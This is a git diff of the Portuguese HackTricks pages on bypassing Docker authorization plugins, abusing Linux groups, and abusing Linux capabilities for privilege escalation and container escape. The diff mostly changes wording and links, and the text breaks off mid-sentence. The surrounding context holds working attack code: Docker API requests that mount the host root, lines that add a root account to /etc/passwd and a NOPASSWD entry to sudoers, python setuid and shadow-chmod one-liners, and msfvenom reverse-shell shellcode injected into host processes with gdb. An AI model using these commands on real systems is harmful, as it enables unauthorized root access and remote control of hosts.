@@ Você também pode **abusar de um mount para escalar privilégios** dentro do co ### Escapando do contêiner -- **`--privileged`** -> Com esta flag você [remove toda a isolação do contêiner](docker-privileged.md#what-affects). Verifique técnicas para [escapar de contêineres privilegiados como root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +- **`--privileged`** -> Com esta flag você [remove toda a isolação do contêiner](docker-privileged.md#what-affects). Verifique técnicas para [escapar de contêineres privilegiados como root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape). - **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de capacidades](../linux-capabilities.md), **conceda essa capacidade ao contêiner** e desative outros métodos de proteção que podem impedir a exploração de funcionar. ### Curl diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index d5bf9ad49..7f1fa82ac 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -4,17 +4,17 @@ O modelo de **autorização** do **Docker** é **tudo ou nada**. Qualquer usuár # Arquitetura básica -Os plugins de autenticação do Docker são **plugins externos** que você pode usar para **permitir/negar** **ações** solicitadas ao daemon do Docker **dependendo** do **usuário** que a solicitou e da **ação** **solicitada**. +Os plugins de autenticação do Docker são **plugins externos** que você pode usar para **permitir/negar** **ações** solicitadas ao Daemon do Docker **dependendo** do **usuário** que a solicitou e da **ação** **solicitada**. **[As informações a seguir são da documentação](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -Quando uma **solicitação HTTP** é feita ao **daemon** do Docker através da CLI ou via API do Engine, o **subsystem** de **autenticação** **passa** a solicitação para o(s) **plugin(s)** de **autenticação** instalados. A solicitação contém o usuário (chamador) e o contexto do comando. O **plugin** é responsável por decidir se deve **permitir** ou **negar** a solicitação. +Quando uma **solicitação HTTP** é feita ao **daemon** do Docker através da CLI ou via API do Engine, o **subsystema de autenticação** **passa** a solicitação para o(s) **plugin(s)** de **autenticação** instalados. A solicitação contém o usuário (chamador) e o contexto do comando. O **plugin** é responsável por decidir se deve **permitir** ou **negar** a solicitação. Os diagramas de sequência abaixo mostram um fluxo de autorização de permitir e negar: -![Fluxo de autorização permitir](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Fluxo de autorização de permitir](https://docs.docker.com/engine/extend/images/authz_allow.png) -![Fluxo de autorização negar](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Fluxo de autorização de negar](https://docs.docker.com/engine/extend/images/authz_deny.png) Cada solicitação enviada ao plugin **inclui o usuário autenticado, os cabeçalhos HTTP e o corpo da solicitação/resposta**. Apenas o **nome do usuário** e o **método de autenticação** utilizado são passados para o plugin. O mais importante, **nenhuma** credencial de **usuário** ou tokens são passados. Finalmente, **nem todos os corpos de solicitação/resposta são enviados** ao plugin de autorização. Apenas aqueles corpos de solicitação/resposta onde o `Content-Type` é `text/*` ou `application/json` são enviados. @@ -76,7 +76,7 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` -Agora, o usuário pode escapar do contêiner usando qualquer uma das [**técnicas discutidas anteriormente**](./#privileged-flag) e **escalar privilégios** dentro do host. +Agora, o usuário pode escapar do contêiner usando qualquer uma das [**técnicas discutidas anteriormente**](#privileged-flag) e **escalar privilégios** dentro do host. ## Montar Pasta Gravável @@ -96,15 +96,15 @@ host> /tmp/bash > > Note também que se você puder **montar `/etc`** ou qualquer outra pasta **contendo arquivos de configuração**, você pode alterá-los a partir do contêiner docker como root para **abusar deles no host** e escalar privilégios (talvez modificando `/etc/shadow`) -## Endpoint de API Não Verificado +## Unchecked API Endpoint -A responsabilidade do sysadmin que configura este plugin seria controlar quais ações e com quais privilégios cada usuário pode realizar. Portanto, se o administrador adotar uma abordagem de **lista negra** com os endpoints e os atributos, ele pode **esquecer alguns deles** que poderiam permitir a um atacante **escalar privilégios.** +A responsabilidade do sysadmin que configura este plugin seria controlar quais ações e com quais privilégios cada usuário pode realizar. Portanto, se o admin adotar uma abordagem de **lista negra** com os endpoints e os atributos, ele pode **esquecer alguns deles** que poderiam permitir a um atacante **escalar privilégios.** Você pode verificar a API do docker em [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Estrutura JSON Não Verificada +## Unchecked JSON Structure -### Binds na raiz +### Binds in root É possível que quando o sysadmin configurou o firewall do docker, ele **esqueceu de algum parâmetro importante** da [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) como "**Binds**".\ No exemplo a seguir, é possível abusar dessa má configuração para criar e executar um contêiner que monta a pasta raiz (/) do host: @@ -122,19 +122,19 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ### Binds em HostConfig -Siga a mesma instrução que com **Binds em root** realizando esta **request** para a API Docker: +Siga a mesma instrução que com **Binds em root** realizando esta **request** para a API do Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` -### Montagens na raiz +### Montagens em root -Siga as mesmas instruções que com **Vínculos na raiz** realizando esta **solicitação** para a API do Docker: +Siga as mesmas instruções que com **Vinculações em root** realizando esta **solicitação** à API do Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` -### Montagens em HostConfig +### Mounts in HostConfig -Siga as mesmas instruções que em **Binds em root** realizando esta **solicitação** para a API do Docker: +Siga as mesmas instruções que em **Binds in root** realizando esta **request** para a API do Docker: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` @@ -151,7 +151,7 @@ capsh --print #You can abuse the SYS_MODULE capability ``` > [!NOTE] -> O **`HostConfig`** é a chave que geralmente contém os **privilegios** **interessantes** para escapar do contêiner. No entanto, como discutimos anteriormente, observe como usar Binds fora dele também funciona e pode permitir que você contorne restrições. +> O **`HostConfig`** é a chave que geralmente contém os **privileges** **interessantes** para escapar do contêiner. No entanto, como discutimos anteriormente, observe como usar Binds fora dele também funciona e pode permitir que você contorne restrições. ## Desabilitando o Plugin diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 4095e103b..8e1c59378 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,4 +1,4 @@ -# Grupos Interessantes - Linux Privesc +# Grupos Interessantes - Privesc Linux {{#include ../../../banners/hacktricks-training.md}} @@ -27,7 +27,7 @@ Encontre todos os binários suid e verifique se há o binário **Pkexec**: find / -perm -4000 2>/dev/null ``` Se você descobrir que o binário **pkexec é um binário SUID** e você pertence ao **sudo** ou **admin**, você provavelmente poderá executar binários como sudo usando `pkexec`.\ -Isso ocorre porque, normalmente, esses são os grupos dentro da **polkit policy**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com: +Isso ocorre porque, tipicamente, esses são os grupos dentro da **política do polkit**. Essa política basicamente identifica quais grupos podem usar `pkexec`. Verifique com: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` @@ -68,7 +68,7 @@ sudo su ``` ## Shadow Group -Usuários do **grupo shadow** podem **ler** o **/etc/shadow** arquivo: +Usuários do **grupo shadow** podem **ler** o arquivo **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -109,7 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` -**Explorar** +**Exploit** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Grupo Docker -Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, para que quando a instância iniciar, ela carregue imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina. +Você pode **montar o sistema de arquivos raiz da máquina host em um volume da instância**, de modo que, quando a instância inicia, ela carrega imediatamente um `chroot` nesse volume. Isso efetivamente lhe dá acesso root na máquina. ```bash docker image #Get images from the docker service @@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Finalmente, se você não gosta de nenhuma das sugestões anteriores, ou elas não estão funcionando por algum motivo (firewall da api do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui: +Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou elas não estiverem funcionando por algum motivo (firewall da API do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui: {{#ref}} ../docker-security/ {{#endref}} -Se você tiver permissões de escrita sobre o socket do docker, leia [**este post sobre como escalar privilégios abusando do socket do docker**](../#writable-docker-socket)**.** +Se você tiver permissões de escrita sobre o socket do docker, leia [**este post sobre como escalar privilégios abusando do socket do docker**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index dc4de31a6..061d7d5c5 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Linux Capabilities As capacidades do Linux dividem **os privilégios de root em unidades menores e distintas**, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente. @@ -15,7 +14,7 @@ As capacidades do Linux dividem **os privilégios de root em unidades menores e 1. **Inherited (CapInh)**: -- **Propósito**: Determina as capacidades transmitidas do processo pai. +- **Propósito**: Determina as capacidades passadas do processo pai. - **Funcionalidade**: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos. - **Restrições**: Um processo não pode ganhar capacidades que seu pai não possuía. @@ -28,7 +27,7 @@ As capacidades do Linux dividem **os privilégios de root em unidades menores e 3. **Permitted (CapPrm)**: - **Propósito**: Define o conjunto máximo de capacidades que um processo pode possuir. -- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido. +- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a habilidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido. - **Limite**: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido. 4. **Bounding (CapBnd)**: @@ -64,7 +63,7 @@ Observe que para todos os processos em execução, as informações de capacidad Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h -Você pode encontrar as capacidades do processo atual em `cat /proc/self/status` ou fazendo `capsh --print` e as de outros usuários em `/proc//status` +Você pode encontrar as capacidades do processo atual em `cat /proc/self/status` ou fazendo `capsh --print` e de outros usuários em `/proc//status` ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process @@ -158,7 +157,7 @@ setcap -r ## User Capabilities Aparentemente **é possível atribuir capacidades também a usuários**. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário.\ -Baseado em [isso](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [isso](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [isso](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\ +Baseado em [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será `/etc/security/capability.conf`.\ Exemplo de arquivo: ```bash # Simple @@ -173,7 +172,7 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` -## Capacidades do Ambiente +## Capabilidades do Ambiente Compilando o seguinte programa, é possível **gerar um shell bash dentro de um ambiente que fornece capacidades**. ```c:ambient.c @@ -313,7 +312,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são então executados como root. -Você pode forçar capacidades em programas usando `setcap` e consultar essas usando `getcap`: +Você pode forçar capacidades em programas usando `setcap`, e consultar essas usando `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -330,7 +329,7 @@ getcap -r / 2>/dev/null ``` ### Exemplo de exploração -No exemplo a seguir, o binário `/usr/bin/python2.6` é encontrado vulnerável a privesc: +No seguinte exemplo, o binário `/usr/bin/python2.6` é encontrado vulnerável a privesc: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -338,17 +337,17 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` -**Capacidades** necessárias pelo `tcpdump` para **permitir que qualquer usuário capture pacotes**: +**Capabilities** necessárias pelo `tcpdump` para **permitir que qualquer usuário capture pacotes**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` -### O caso especial das capacidades "vazias" +### O caso especial de capacidades "vazias" -[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que: +[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazias a um arquivo de programa, e assim é possível criar um programa com set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que: -1. não é propriedade do root +1. não é possuído por root 2. não tem bits `SUID`/`SGID` definidos 3. tem conjuntos de capacidades vazios (por exemplo: `getcap myelf` retorna `myelf =ep`) @@ -356,7 +355,7 @@ então **esse binário será executado como root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes containerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque. **Exemplo com binário** ```bash @@ -401,7 +400,7 @@ groups=0(root) ``` Dentro da saída anterior, você pode ver que a capacidade SYS_ADMIN está habilitada. -- **Montar** +- **Mount** Isso permite que o contêiner docker **monte o disco do host e acesse-o livremente**: ```bash @@ -417,8 +416,8 @@ chroot ./ bash #You have a shell inside the docker hosts disk ``` - **Acesso total** -No método anterior, conseguimos acessar o disco do host docker.\ -Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host docker** e acessá-lo via SSH: +No método anterior, conseguimos acessar o disco do host do docker.\ +Caso você descubra que o host está executando um **ssh** servidor, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -434,9 +433,9 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host.** Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com **`--pid=host`**. +**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução dentro do host.** Para acessar processos em execução dentro do host, o contêiner precisa ser executado pelo menos com **`--pid=host`**. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53). +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53). **Exemplo com binário (python)** ```bash @@ -536,7 +535,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None) ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` -Crie um shellcode com msfvenom para injetar na memória via gdb +Crie um shellcode com msfvenom para injetar na memória via gdb. ```python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py buf = b"" @@ -583,9 +582,9 @@ Continuing. process 207009 is executing new program: /usr/bin/dash [...] ``` -**Exemplo com ambiente (Docker breakout) - Outro Abuso de gdb** +**Exemplo com ambiente (Docker breakout) - Outro abuso do gdb** -Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazê-lo chamar a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.** +Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazer com que ele chame a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.** ```bash gdb -p 1234 (gdb) call (void)system("ls") @@ -622,8 +621,8 @@ Liste **processos** em execução no **host** `ps -eaf` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres. -**Isso significa que você pode** **inserir/remover módulos do kernel no/da kernel da máquina host.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema, permitindo modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres. +**Isso significa que você pode** **inserir/remover módulos do kernel no/do kernel da máquina host.** **Exemplo com binário** @@ -632,7 +631,7 @@ No exemplo a seguir, o binário **`python`** possui essa capacidade. getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` -Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapa no diretório **`/lib/modules/$(uname -r)`**.\ +Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\ Para abusar disso, vamos criar uma pasta falsa **lib/modules**: ```bash mkdir lib/modules -p @@ -651,7 +650,7 @@ km.modprobe("reverse-shell") ``` **Exemplo 2 com binário** -No exemplo a seguir, o binário **`kmod`** possui esta capacidade. +No seguinte exemplo, o binário **`kmod`** possui esta capacidade. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep @@ -733,8 +732,8 @@ Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/re ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**Isso significa que você pode** **ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/executar de diretórios.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulações. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +**Isso significa que você pode** **ignorar verificações de permissão de leitura de arquivos e verificações de permissão de leitura/executar de diretórios.** **Exemplo com binário** @@ -951,13 +950,13 @@ vim /etc/sudoers #To overwrite it ``` **Exemplo com binário 2** -Neste exemplo, o binário **`python`** terá esta capacidade. Você pode usar o python para sobrescrever qualquer arquivo: +Neste exemplo, o binário **`python`** terá esta capacidade. Você pode usar o python para substituir qualquer arquivo: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` -**Exemplo com ambiente + CAP_DAC_READ_SEARCH (Docker breakout)** +**Exemplo com ambiente + CAP_DAC_READ_SEARCH (quebra de Docker)** Você pode verificar as capacidades habilitadas dentro do contêiner docker usando: ```bash @@ -1142,7 +1141,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666) ``` ### CAP_SETUID -**Isso significa que é possível definir o ID de usuário efetivo do processo criado.** +**Isso significa que é possível definir o id de usuário efetivo do processo criado.** **Exemplo com binário** @@ -1169,7 +1168,7 @@ Existem muitos arquivos que você pode **sobrescrever para escalar privilégios, **Exemplo com binário** -Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, pois você pode se passar por qualquer grupo: +Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, porque você pode se passar por qualquer grupo: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1184,11 +1183,11 @@ import os os.setgid(42) os.system("/bin/bash") ``` -Neste caso, o grupo shadow foi personificado, então você pode ler o arquivo `/etc/shadow`: +Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo `/etc/shadow`: ```bash cat /etc/shadow ``` -Se **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](./#writable-docker-socket). +Se o **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](#writable-docker-socket). ## CAP_SETFCAP @@ -1243,7 +1242,7 @@ capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` Essa capacidade permite **dar qualquer outra capacidade a binários**, então podemos pensar em **escapar** do contêiner **abusando de qualquer uma das outras quebras de capacidade** mencionadas nesta página.\ -No entanto, se você tentar dar, por exemplo, as capacidades CAP_SYS_ADMIN e CAP_SYS_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o **binário não conseguirá executar após isso**: +No entanto, se você tentar dar, por exemplo, as capacidades CAP_SYS_ADMIN e CAP_SYS_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o **binário não conseguirá ser executado após isso**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1255,7 +1254,7 @@ bash: /usr/bin/gdb: Operation not permitted ``` [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Este é um **superconjunto limitante para as capacidades efetivas** que a thread pode assumir. Também é um superconjunto limitante para as capacidades que podem ser adicionadas ao conjunto herdável por uma thread que **não possui a capacidade CAP_SETPCAP** em seu conjunto efetivo._\ Parece que as capacidades Permitidas limitam aquelas que podem ser usadas.\ -No entanto, o Docker também concede o **CAP_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\ +No entanto, o Docker também concede a **CAP_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\ No entanto, na documentação desta capacidade: _CAP_SETPCAP : \[…] **adiciona qualquer capacidade do conjunto de limites da thread chamadora** ao seu conjunto herdável_.\ Parece que só podemos adicionar ao conjunto herdável capacidades do conjunto de limites. O que significa que **não podemos colocar novas capacidades como CAP_SYS_ADMIN ou CAP_SYS_PTRACE no conjunto herdável para escalar privilégios**. @@ -1271,7 +1270,7 @@ Isso pode ser útil para **escalonamento de privilégios** e **quebra do Docker. **Exemplo com binário** -Vamos supor que o **`python`** binário tenha essa capacidade. Se você pudesse **também modificar alguma configuração de serviço ou socket** (ou qualquer arquivo de configuração relacionado a um serviço), você poderia criar uma porta dos fundos, e então matar o processo relacionado a esse serviço e esperar que o novo arquivo de configuração fosse executado com sua porta dos fundos. +Vamos supor que o **`python`** binário tenha essa capacidade. Se você pudesse **também modificar alguma configuração de serviço ou socket** (ou qualquer arquivo de configuração relacionado a um serviço), você poderia criar um backdoor, e então matar o processo relacionado a esse serviço e esperar que o novo arquivo de configuração fosse executado com seu backdoor. ```python #Use this python code to kill arbitrary processes import os @@ -1281,7 +1280,7 @@ os.killpg(pgid, signal.SIGKILL) ``` **Privesc com kill** -Se você tiver capacidades de kill e houver um **programa node rodando como root** (ou como um usuário diferente), você provavelmente poderia **enviar** o **sinal SIGUSR1** e fazer com que ele **abra o depurador node** para onde você pode se conectar. +Se você tiver capacidades 